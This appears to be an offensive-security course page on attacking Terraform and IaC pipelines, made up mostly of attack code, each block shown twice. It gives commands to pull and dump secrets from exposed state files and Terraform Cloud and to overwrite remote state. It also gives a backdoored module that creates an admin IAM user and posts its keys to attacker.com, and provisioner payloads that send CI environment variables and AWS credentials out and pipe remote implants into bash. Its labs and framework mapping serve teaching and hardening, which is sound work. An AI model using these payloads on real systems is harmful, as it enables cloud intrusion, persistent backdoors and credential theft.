🔥 Advanced

IaC & Terraform Attacks

Infrastructure as Code defines entire cloud environments. State files contain secrets, provider configs enable privilege escalation, and malicious modules can backdoor everything.

State File = Crown Jewels

Terraform state files contain ALL secrets in plaintext - database passwords, API keys, private keys. A leaked state file is a complete environment compromise.

IaC Attack Surface

📁 State Files

  • • Plaintext secrets
  • • Resource IDs & ARNs
  • • Network configurations
  • • Often in S3/Azure Blob (misconfigured)

📦 Modules

  • • Supply chain via module sources
  • • Typosquatting on registries
  • • Backdoored community modules

🔑 Provider Configs

  • • Hardcoded credentials
  • • Overprivileged IAM roles
  • • Assume role chains

🔄 CI/CD Integration

  • • Plan output shows secrets
  • • Apply runs with cloud admin
  • • PR-based plan poisoning

State File Exploitation

bash
# State files contain ALL sensitive data in plaintext!

# 1. Find state files
# Local
find . -name "*.tfstate" -o -name "*.tfstate.backup"

# S3 (common misconfiguration: public bucket)
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .

# Azure Storage (check for public access)
az storage blob list --container-name tfstate --account-name companytfstate

# 2. Extract secrets from state
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'

# Common secret locations in state:
# - aws_db_instance: password
# - aws_iam_access_key: secret
# - tls_private_key: private_key_pem
# - random_password: result
# - aws_secretsmanager_secret_version: secret_string

# Dump all sensitive attributes
cat terraform.tfstate | jq -r '.. | .password?, .secret?, .private_key?, .secret_string? | select(. != null)'
# State files contain ALL sensitive data in plaintext!

# 1. Find state files
# Local
find . -name "*.tfstate" -o -name "*.tfstate.backup"

# S3 (common misconfiguration: public bucket)
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .

# Azure Storage (check for public access)
az storage blob list --container-name tfstate --account-name companytfstate

# 2. Extract secrets from state
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'

# Common secret locations in state:
# - aws_db_instance: password
# - aws_iam_access_key: secret
# - tls_private_key: private_key_pem
# - random_password: result
# - aws_secretsmanager_secret_version: secret_string

# Dump all sensitive attributes
cat terraform.tfstate | jq -r '.. | .password?, .secret?, .private_key?, .secret_string? | select(. != null)'

State Backend Attacks

bash
# Terraform backends often misconfigured

# S3 Backend - Check for:
# 1. Public bucket
aws s3 ls s3://company-terraform --no-sign-request

# 2. Bucket allows unauthenticated writes (rare but devastating)
aws s3 cp malicious.tfstate s3://company-terraform/prod/terraform.tfstate

# 3. Overly permissive IAM policies
# If you have ANY AWS access, check if you can read state bucket

# Azure Backend
# Check storage account network rules
az storage account show -n companytfstate --query networkRuleSet

# Terraform Cloud / Enterprise
# Leaked API tokens give full access
curl -H "Authorization: Bearer TF_TOKEN" \
  https://app.terraform.io/api/v2/organizations

# List workspaces
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/organizations/ORG/workspaces"

# Download state
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" | \
  jq -r '.data.attributes["hosted-state-download-url"]'
# Terraform backends often misconfigured

# S3 Backend - Check for:
# 1. Public bucket
aws s3 ls s3://company-terraform --no-sign-request

# 2. Bucket allows unauthenticated writes (rare but devastating)
aws s3 cp malicious.tfstate s3://company-terraform/prod/terraform.tfstate

# 3. Overly permissive IAM policies
# If you have ANY AWS access, check if you can read state bucket

# Azure Backend
# Check storage account network rules
az storage account show -n companytfstate --query networkRuleSet

# Terraform Cloud / Enterprise
# Leaked API tokens give full access
curl -H "Authorization: Bearer TF_TOKEN" \
  https://app.terraform.io/api/v2/organizations

# List workspaces
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/organizations/ORG/workspaces"

# Download state
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" | \
  jq -r '.data.attributes["hosted-state-download-url"]'

Malicious Module Injection

Supply Chain Attack

Terraform modules are like npm packages - if you can poison the source, everyone who uses the module gets compromised.
bash
# Malicious module that creates a backdoor IAM user
# modules/vpc/main.tf (looks like normal VPC module)

resource "aws_vpc" "main" {
  cidr_block = var.cidr_block
  # ... normal VPC config
}

# Hidden backdoor - creates attacker access
resource "aws_iam_user" "backdoor" {
  name = "terraform-state-manager"  # Looks legitimate
  tags = {
    ManagedBy = "Terraform"
  }
}

resource "aws_iam_user_policy_attachment" "backdoor" {
  user       = aws_iam_user.backdoor.name
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

resource "aws_iam_access_key" "backdoor" {
  user = aws_iam_user.backdoor.name
}

# Exfil the keys during apply
resource "null_resource" "exfil" {
  provisioner "local-exec" {
    command = "curl -X POST -d 'key=${aws_iam_access_key.backdoor.id}&secret=${aws_iam_access_key.backdoor.secret}' https://attacker.com/collect"
  }
}
# Malicious module that creates a backdoor IAM user
# modules/vpc/main.tf (looks like normal VPC module)

resource "aws_vpc" "main" {
  cidr_block = var.cidr_block
  # ... normal VPC config
}

# Hidden backdoor - creates attacker access
resource "aws_iam_user" "backdoor" {
  name = "terraform-state-manager"  # Looks legitimate
  tags = {
    ManagedBy = "Terraform"
  }
}

resource "aws_iam_user_policy_attachment" "backdoor" {
  user       = aws_iam_user.backdoor.name
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

resource "aws_iam_access_key" "backdoor" {
  user = aws_iam_user.backdoor.name
}

# Exfil the keys during apply
resource "null_resource" "exfil" {
  provisioner "local-exec" {
    command = "curl -X POST -d 'key=${aws_iam_access_key.backdoor.id}&secret=${aws_iam_access_key.backdoor.secret}' https://attacker.com/collect"
  }
}

Provisioner Abuse

bash
# Provisioners run commands during apply
# local-exec runs on the Terraform runner (CI/CD agent!)
# remote-exec runs on provisioned resources

# Backdoor via local-exec (runs on CI runner)
resource "null_resource" "backdoor" {
  provisioner "local-exec" {
    command = <<EOT
      # Exfil CI/CD secrets
      env | curl -X POST -d @- https://attacker.com/env
      
      # Establish persistence
      curl https://attacker.com/beacon.sh | bash
      
      # Steal cloud credentials from CI runner
      cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
    EOT
  }
}

# Remote-exec on newly created instance
resource "aws_instance" "web" {
  # ... instance config
  
  provisioner "remote-exec" {
    inline = [
      "curl https://attacker.com/implant.sh | sudo bash",
    ]
    
    connection {
      type        = "ssh"
      user        = "ubuntu"
      private_key = tls_private_key.ssh.private_key_pem
      host        = self.public_ip
    }
  }
}
# Provisioners run commands during apply
# local-exec runs on the Terraform runner (CI/CD agent!)
# remote-exec runs on provisioned resources

# Backdoor via local-exec (runs on CI runner)
resource "null_resource" "backdoor" {
  provisioner "local-exec" {
    command = <<EOT
      # Exfil CI/CD secrets
      env | curl -X POST -d @- https://attacker.com/env
      
      # Establish persistence
      curl https://attacker.com/beacon.sh | bash
      
      # Steal cloud credentials from CI runner
      cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
    EOT
  }
}

# Remote-exec on newly created instance
resource "aws_instance" "web" {
  # ... instance config
  
  provisioner "remote-exec" {
    inline = [
      "curl https://attacker.com/implant.sh | sudo bash",
    ]
    
    connection {
      type        = "ssh"
      user        = "ubuntu"
      private_key = tls_private_key.ssh.private_key_pem
      host        = self.public_ip
    }
  }
}

Plan Output Secrets

bash
# terraform plan can leak secrets in CI logs!

# Even with sensitive = true, plan shows:
# - Resource changes that include secrets
# - Data source outputs
# - Module outputs

# Force plan to show all secrets (for extraction)
terraform plan -json | jq '.resource_changes[] | select(.change.after.password != null)'

# In CI/CD, check plan artifacts or logs for:
# + password = "SuperSecretPassword123!"
# + secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# Targeted extraction from plan
terraform plan -out=plan.bin
terraform show -json plan.bin | jq '.planned_values.root_module.resources[] | {type, values}'
# terraform plan can leak secrets in CI logs!

# Even with sensitive = true, plan shows:
# - Resource changes that include secrets
# - Data source outputs
# - Module outputs

# Force plan to show all secrets (for extraction)
terraform plan -json | jq '.resource_changes[] | select(.change.after.password != null)'

# In CI/CD, check plan artifacts or logs for:
# + password = "SuperSecretPassword123!"
# + secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# Targeted extraction from plan
terraform plan -out=plan.bin
terraform show -json plan.bin | jq '.planned_values.root_module.resources[] | {type, values}'

Provider Credential Theft

bash
# Providers often configured with hardcoded or env-based creds

# Check for hardcoded creds in .tf files
grep -r "access_key|secret_key|password|token" *.tf

# Environment variables set during CI/CD
# If you can inject into the pipeline:
env | grep -i "AWS|AZURE|GOOGLE|TF_VAR"

# AWS provider credential chain:
# 1. Inline in provider block (worst practice)
# 2. Environment variables (AWS_ACCESS_KEY_ID)
# 3. Shared credentials file (~/.aws/credentials)
# 4. IAM role (instance profile / OIDC)

# Steal credentials from provider config
terraform providers -json | jq '.provider_configs'

# If using assume_role, you might be able to assume it too:
# provider "aws" {
#   assume_role {
#     role_arn = "arn:aws:iam::123456789:role/TerraformAdmin"
#   }
# }
# If you have any AWS creds in the account, try assuming this role
# Providers often configured with hardcoded or env-based creds

# Check for hardcoded creds in .tf files
grep -r "access_key|secret_key|password|token" *.tf

# Environment variables set during CI/CD
# If you can inject into the pipeline:
env | grep -i "AWS|AZURE|GOOGLE|TF_VAR"

# AWS provider credential chain:
# 1. Inline in provider block (worst practice)
# 2. Environment variables (AWS_ACCESS_KEY_ID)
# 3. Shared credentials file (~/.aws/credentials)
# 4. IAM role (instance profile / OIDC)

# Steal credentials from provider config
terraform providers -json | jq '.provider_configs'

# If using assume_role, you might be able to assume it too:
# provider "aws" {
#   assume_role {
#     role_arn = "arn:aws:iam::123456789:role/TerraformAdmin"
#   }
# }
# If you have any AWS creds in the account, try assuming this role

Enumeration

bash
# Find Terraform files
find . -name "*.tf" -o -name "*.tfvars" -o -name "*.tfstate"

# Check for sensitive data in tfvars
cat *.tfvars terraform.tfvars

# Find backend configuration
grep -r "backend" *.tf
grep -A10 'backend "s3"' *.tf
grep -A10 'backend "azurerm"' *.tf

# Find module sources (potential supply chain)
grep -r "sources*=" *.tf | grep -v ".terraform"

# Check for hardcoded secrets
grep -r "password|secret|key|token" *.tf *.tfvars

# Terraform Cloud/Enterprise tokens
cat ~/.terraform.d/credentials.tfrc.json
echo $TF_TOKEN

# State file locations
cat backend.tf  # Check remote state config
ls -la .terraform/  # Local state cache
# Find Terraform files
find . -name "*.tf" -o -name "*.tfvars" -o -name "*.tfstate"

# Check for sensitive data in tfvars
cat *.tfvars terraform.tfvars

# Find backend configuration
grep -r "backend" *.tf
grep -A10 'backend "s3"' *.tf
grep -A10 'backend "azurerm"' *.tf

# Find module sources (potential supply chain)
grep -r "sources*=" *.tf | grep -v ".terraform"

# Check for hardcoded secrets
grep -r "password|secret|key|token" *.tf *.tfvars

# Terraform Cloud/Enterprise tokens
cat ~/.terraform.d/credentials.tfrc.json
echo $TF_TOKEN

# State file locations
cat backend.tf  # Check remote state config
ls -la .terraform/  # Local state cache

Tools

Terraform State File Attack Flow

flowchart TD A["🔍 Discover State Backend\nS3 Bucket / Azure Blob\nHTTP / Local File"] --> BAccess Granted? B -->|"✅ Misconfigured ACL"| C["📄 Read State File\ntfstate JSON"] B -->|"❌ Denied"| D["🔑 Try SSRF / IMDS\nMetadata Service"] D --> C C --> E["💰 Extract Secrets\nDB Passwords\nAPI Keys\nPrivate Keys"] E --> F["🏃 Lateral Movement\nRDS / Cloud APIs\nInternal Services"] C --> G["📝 State Manipulation\nModify Resources\nInject Backdoors"] G --> H["🚀 terraform apply\nDeploy Malicious Infra"] style A fill:#ede9fe,stroke:#7c3aed style C fill:#fef3c7,stroke:#d97706 style E fill:#fee2e2,stroke:#dc2626 style H fill:#fee2e2,stroke:#dc2626

Real-World: Exposed Terraform State in S3

Numerous organizations have been breached through publicly accessible S3 buckets containing Terraform state files. State files store all resource attributes in plaintext, including database passwords, API keys, and TLS certificates. In 2023, researchers found thousands of exposed state files via simple S3 enumeration.
🎯

IaC & Terraform Attack Labs

Practice Terraform state exploitation and IaC security hardening.

🔧
Terraform State File Extraction Custom Lab medium
Deploy a Terraform project with state stored in an S3 bucketMisconfigure the bucket ACL to simulate a real-world exposureDownload the tfstate file and extract plaintext credentialsUse extracted database credentials to access an RDS instanceFix: Enable S3 encryption, bucket policy, and state locking with DynamoDB
🔧
Malicious Terraform Provider Custom Lab hard
Create a custom Terraform provider that executes arbitrary commandsHost it on a registry and reference it in a shared moduleterraform init downloads and trusts the providerDemonstrate code execution during plan and apply phasesImplement provider signing verification and .terraformrc allow lists

📋 Framework Alignment

OWASP CI/CD: CICD-SEC-7 (Insecure System Configuration), CICD-SEC-6 (Insufficient Credential Hygiene) | MITRE ATT&CK: T1552.001 (Credentials In Files), T1580 (Cloud Infrastructure Discovery) | CIS Controls: 4.1 (Secure Configuration), 16.1 (Software Development Process)